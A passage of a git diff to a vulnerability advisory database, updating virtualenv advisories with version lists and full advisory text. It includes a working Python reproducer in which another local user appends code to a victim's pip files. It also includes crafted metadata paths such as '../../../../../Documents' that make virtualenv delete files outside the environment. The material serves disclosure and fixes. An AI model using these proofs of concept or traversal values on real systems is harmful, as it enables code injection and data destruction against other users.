0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-cx28-75q4-x26q/GHSA-cx28-75q4-x26q.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113717"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3430"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-494"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:26:04Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-fc2g-4w5p-6whm.json b/data/PyPI/GHSA-fc2g-4w5p-6whm.json index 88d665343a..e7d89ebed6 100644 --- a/data/PyPI/GHSA-fc2g-4w5p-6whm.json +++ b/data/PyPI/GHSA-fc2g-4w5p-6whm.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-fc2g-4w5p-6whm","published":"2026-10-23T22:23:11Z","modified":"2026-10-29T10:55:56.743073990Z","aliases":["BIT-virtualenv-2026-113720","CVE-2026-113720"],"summary":"virtualenv: Seeded files retain permissions from an older cache","details":"## Summary\n\nThe app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache\npopulated under permissive permissions can therefore produce files with wider access in later environments.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermissions of files copied from app-data into a new environment.\n\n## Attacker-controlled input\n\nThe cache must contain files created with broader permissions than the current environment creator intends. Another\naccount must also be able to traverse the new environment and reach those files. A private parent directory prevents\nthat access. No control of a private live cache is assumed.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with\n`shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the\ncurrent run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can\nreceive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts.\n\n## Reproduction and evidence\n\nThe scanner created two histories with separate private app-data caches. In the control, the owner's first run used\numask `022`; a later environment had no files writable by another account, and that account could not append to\n`pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report\ncounted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and\n`bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both\nhistories.\n\nAn attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable\ndestination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates\napp-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425)\ncreates copied files under a fixed non-writable-by-others policy further restricted by the current umask.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant U as Environment owner\n participant C as Private app-data cache\n participant E as Later environment\n participant A as Other local account\n U->>C: first seed extraction under umask 000\n C-->>U: cached pip files have mode 0666\n U->>E: create environment under umask 022\n C->>E: shutil.copy reapplies mode 0666\n A->>E: append code to pip/__init__.py\n U->>E: run bin/pip --version\n E-->>U: appended code runs as owner\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nsys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes\nos.umask(0o022) # for the directories made here as root\nOWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids\nVIRTUALENV = [\"virtualenv\", \"--quiet\", \"--no-periodic-update\"] # default seeder; no network for the update check\n# read here, as root: /tmp/repro.d need not be readable by the other user\nATTACK = Path(\"/tmp/repro.d/other_user_appends_to_pip.py\").read_text()\n\n\ndef run_as_owner(command, home, umask):\n environ = {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}\n subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)\n\n\ndef mode(path):\n return stat.filemode(os.stat(path).st_mode)\n\n\nwork = Path(\"/tmp/seed-mode-repro\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nproofs = work / \"proofs\"\nproofs.mkdir()\nproofs.chmod(0o777) # the other user's line writes the uid it runs as in here\n\nwritable_by_others, appended_line_ran_as = {}, {}\n# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv\nfor case, umask_of_earlier_run in [(\"CONTROL\", 0o022), (\"OBSERVED\", 0o000)]:\n # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path\n home = work / f\"{case}-home\"\n home.mkdir(mode=0o700)\n os.chown(home, OWNER, OWNER)\n projects = work / f\"{case}-projects\"\n projects.mkdir(mode=0o755)\n os.chown(projects, OWNER, OWNER)\n\n # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it\n run_as_owner([*VIRTUALENV, str(home / \"earlier-env\")], home, umask=umask_of_earlier_run)\n # owner, today\n env = projects / \"env\"\n run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)\n\n (cached_pip,) = glob.glob(f\"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py\")\n (seeded_pip,) = glob.glob(f\"{env}/lib/python*/site-packages/pip/__init__.py\")\n env_files = [path for path in env.rglob(\"*\") if path.is_file() and not path.is_symlink()]\n writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)\n print(f\"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022\")\n print(f\"{case} cache pip/__init__.py {mode(cached_pip)}\")\n print(f\"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}\")\n print(f\"{case} env bin/activate {mode(env / 'bin' / 'activate')}\")\n print(f\"{case} env pip/__init__.py {mode(seeded_pip)}\")\n print(f\"{case} env files writable by others: {writable_by_others[case]} of {len(env_files)}\")\n\n # attack: another local user appends a line to the owner's seeded pip\n proof = proofs / case\n subprocess.run(\n [\"python3\", \"-\", str(env), str(proof)],\n input=ATTACK,\n text=True,\n user=OTHER_USER,\n group=OTHER_USER,\n extra_groups=[],\n env={\"PATH\": os.environ[\"PATH\"]},\n cwd=\"/\",\n check=True,\n )\n\n # the owner uses the environment\n run_as_owner([str(env / \"bin\" / \"pip\"), \"--version\"], home, umask=0o022)\n appended_line_ran_as[case] = proof.read_text() if proof.exists() else None\n print(f\"{case} other user's line ran as uid: {appended_line_ran_as[case]}\")\n\n# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier\ncontrol_is_private = writable_by_others[\"CONTROL\"] == 0 and appended_line_ran_as[\"CONTROL\"] is None\nobserved_runs_as_owner = writable_by_others[\"OBSERVED\"] > 0 and appended_line_ran_as[\"OBSERVED\"] == str(OWNER)\nprint(\"BUG\" if control_is_private and observed_runs_as_owner else \"OK\")\n```\n\n**`repro.d/other_user_appends_to_pip.py`**\n\n```text\nimport glob\nimport sys\n\nenvironment, proof = sys.argv[1:]\n(pip_init,) = glob.glob(f\"{environment}/lib/python*/site-packages/pip/__init__.py\")\nadded_line = f\"\\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\\n\"\n\ntry:\n with open(pip_init, \"a\") as pip_source:\n pip_source.write(added_line)\n print(f\"other user: appended a line to {pip_init}\")\nexcept PermissionError as error:\n print(f\"other user: {error}\")\n```\n\n## Impact\n\nCopied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those\naccounts to be able to traverse the destination's parent directories. An attacker need not control the private source\ncache.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix creates destination files with mode `0644`, or `0755` for executable sources, filtered further by the\ncurrent umask. It does not grant group or world write access, even with a permissive umask. Source modes are not\npreserved, including modes more restrictive than this creation policy.\n\nFix: [PR #3425](https://github.com/pypa/virtualenv/pull/3425).\n\n## Known mitigation\n\nCreate environments beneath a directory accessible only to their owner. Recreate environments whose permissions were\ninherited from a permissive cache.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-fc2g-4w5p-6whm/GHSA-fc2g-4w5p-6whm.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-fc2g-4w5p-6whm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113720"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3425"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/35f0b33562790176dd186d0a3c517af3acc7a0e1"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-732"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:23:11Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-fc2g-4w5p-6whm","published":"2026-10-23T22:23:11Z","modified":"2026-11-18T12:11:01.943005174Z","aliases":["BIT-virtualenv-2026-113720","CVE-2026-113720","PYSEC-2026-4379"],"summary":"virtualenv: Seeded files retain permissions from an older cache","details":"## Summary\n\nThe app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache\npopulated under permissive permissions can therefore produce files with wider access in later environments.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermissions of files copied from app-data into a new environment.\n\n## Attacker-controlled input\n\nThe cache must contain files created with broader permissions than the current environment creator intends. Another\naccount must also be able to traverse the new environment and reach those files. A private parent directory prevents\nthat access. No control of a private live cache is assumed.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with\n`shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the\ncurrent run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can\nreceive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts.\n\n## Reproduction and evidence\n\nThe scanner created two histories with separate private app-data caches. In the control, the owner's first run used\numask `022`; a later environment had no files writable by another account, and that account could not append to\n`pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report\ncounted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and\n`bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both\nhistories.\n\nAn attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable\ndestination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates\napp-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425)\ncreates copied files under a fixed non-writable-by-others policy further restricted by the current umask.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant U as Environment owner\n participant C as Private app-data cache\n participant E as Later environment\n participant A as Other local account\n U->>C: first seed extraction under umask 000\n C-->>U: cached pip files have mode 0666\n U->>E: create environment under umask 022\n C->>E: shutil.copy reapplies mode 0666\n A->>E: append code to pip/__init__.py\n U->>E: run bin/pip --version\n E-->>U: appended code runs as owner\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nsys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes\nos.umask(0o022) # for the directories made here as root\nOWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids\nVIRTUALENV = [\"virtualenv\", \"--quiet\", \"--no-periodic-update\"] # default seeder; no network for the update check\n# read here, as root: /tmp/repro.d need not be readable by the other user\nATTACK = Path(\"/tmp/repro.d/other_user_appends_to_pip.py\").read_text()\n\n\ndef run_as_owner(command, home, umask):\n environ = {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}\n subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)\n\n\ndef mode(path):\n return stat.filemode(os.stat(path).st_mode)\n\n\nwork = Path(\"/tmp/seed-mode-repro\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nproofs = work / \"proofs\"\nproofs.mkdir()\nproofs.chmod(0o777) # the other user's line writes the uid it runs as in here\n\nwritable_by_others, appended_line_ran_as = {}, {}\n# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv\nfor case, umask_of_earlier_run in [(\"CONTROL\", 0o022), (\"OBSERVED\", 0o000)]:\n # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path\n home = work / f\"{case}-home\"\n home.mkdir(mode=0o700)\n os.chown(home, OWNER, OWNER)\n projects = work / f\"{case}-projects\"\n projects.mkdir(mode=0o755)\n os.chown(projects, OWNER, OWNER)\n\n # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it\n run_as_owner([*VIRTUALENV, str(home / \"earlier-env\")], home, umask=umask_of_earlier_run)\n # owner, today\n env = projects / \"env\"\n run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)\n\n (cached_pip,) = glob.glob(f\"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py\")\n (seeded_pip,) = glob.glob(f\"{env}/lib/python*/site-packages/pip/__init__.py\")\n env_files = [path for path in env.rglob(\"*\") if path.is_file() and not path.is_symlink()]\n writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)\n print(f\"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022\")\n print(f\"{case} cache pip/__init__.py {mode(cached_pip)}\")\n print(f\"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}\")\n print(f\"{case} env bin/activate {mode(env / 'bin' / 'activate')}\")\n print(f\"{case} env pip/__init__.py {mode(seeded_pip)}\")\n print(f\"{case} env files writable by others: {writable_by_others[case]} of {len(env_files)}\")\n\n # attack: another local user appends a line to the owner's seeded pip\n proof = proofs / case\n subprocess.run(\n [\"python3\", \"-\", str(env), str(proof)],\n input=ATTACK,\n text=True,\n user=OTHER_USER,\n group=OTHER_USER,\n extra_groups=[],\n env={\"PATH\": os.environ[\"PATH\"]},\n cwd=\"/\",\n check=True,\n )\n\n # the owner uses the environment\n run_as_owner([str(env / \"bin\" / \"pip\"), \"--version\"], home, umask=0o022)\n appended_line_ran_as[case] = proof.read_text() if proof.exists() else None\n print(f\"{case} other user's line ran as uid: {appended_line_ran_as[case]}\")\n\n# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier\ncontrol_is_private = writable_by_others[\"CONTROL\"] == 0 and appended_line_ran_as[\"CONTROL\"] is None\nobserved_runs_as_owner = writable_by_others[\"OBSERVED\"] > 0 and appended_line_ran_as[\"OBSERVED\"] == str(OWNER)\nprint(\"BUG\" if control_is_private and observed_runs_as_owner else \"OK\")\n```\n\n**`repro.d/other_user_appends_to_pip.py`**\n\n```text\nimport glob\nimport sys\n\nenvironment, proof = sys.argv[1:]\n(pip_init,) = glob.glob(f\"{environment}/lib/python*/site-packages/pip/__init__.py\")\nadded_line = f\"\\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\\n\"\n\ntry:\n with open(pip_init, \"a\") as pip_source:\n pip_source.write(added_line)\n print(f\"other user: appended a line to {pip_init}\")\nexcept PermissionError as error:\n print(f\"other user: {error}\")\n```\n\n## Impact\n\nCopied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those\naccounts to be able to traverse the destination's parent directories. An attacker need not control the private source\ncache.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix creates destination files with mode `0644`, or `0755` for executable sources, filtered further by the\ncurrent umask. It does not grant group or world write access, even with a permissive umask. Source modes are not\npreserved, including modes more restrictive than this creation policy.\n\nFix: [PR #3425](https://github.com/pypa/virtualenv/pull/3425).\n\n## Known mitigation\n\nCreate environments beneath a directory accessible only to their owner. Recreate environments whose permissions were\ninherited from a permissive cache.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-fc2g-4w5p-6whm/GHSA-fc2g-4w5p-6whm.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-fc2g-4w5p-6whm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113720"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3425"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/35f0b33562790176dd186d0a3c517af3acc7a0e1"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-732"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:23:11Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-hhxq-47xx-j5xx.json b/data/PyPI/GHSA-hhxq-47xx-j5xx.json index 425c52a53a..a5fa8232f1 100644 --- a/data/PyPI/GHSA-hhxq-47xx-j5xx.json +++ b/data/PyPI/GHSA-hhxq-47xx-j5xx.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-hhxq-47xx-j5xx","published":"2026-10-23T22:19:15Z","modified":"2026-10-29T10:56:02.747342068Z","aliases":["BIT-virtualenv-2026-113719","CVE-2026-113719"],"summary":"virtualenv: Seed replacement does not contain metadata deletion paths","details":"## Summary\n\nThe app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths\nwithout checking containment within the environment.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nRemoval of a previously installed seed package.\n\n## Attacker-controlled input\n\nAn environment being reused must contain distribution metadata influenced by another account. The invoking user must\nhave deletion rights over the paths named by that metadata. Installing a new environment without existing package\nmetadata does not enter this cleanup path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nBefore reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`\ndirectory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to\n`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the\npath outside the environment. The default app-data seeder reaches this path when it reuses a tree containing\nseed-package metadata; `--clear` removes that tree first.\n\n## Reproduction and evidence\n\nThe scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`\ncontained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held\n`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.\nA control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in\nplace. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.\n\nThe deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It\nrequires an existing destination that another account could populate; a fresh empty environment does not supply hostile\nmetadata. The report traces this cleanup to #2186, first released in 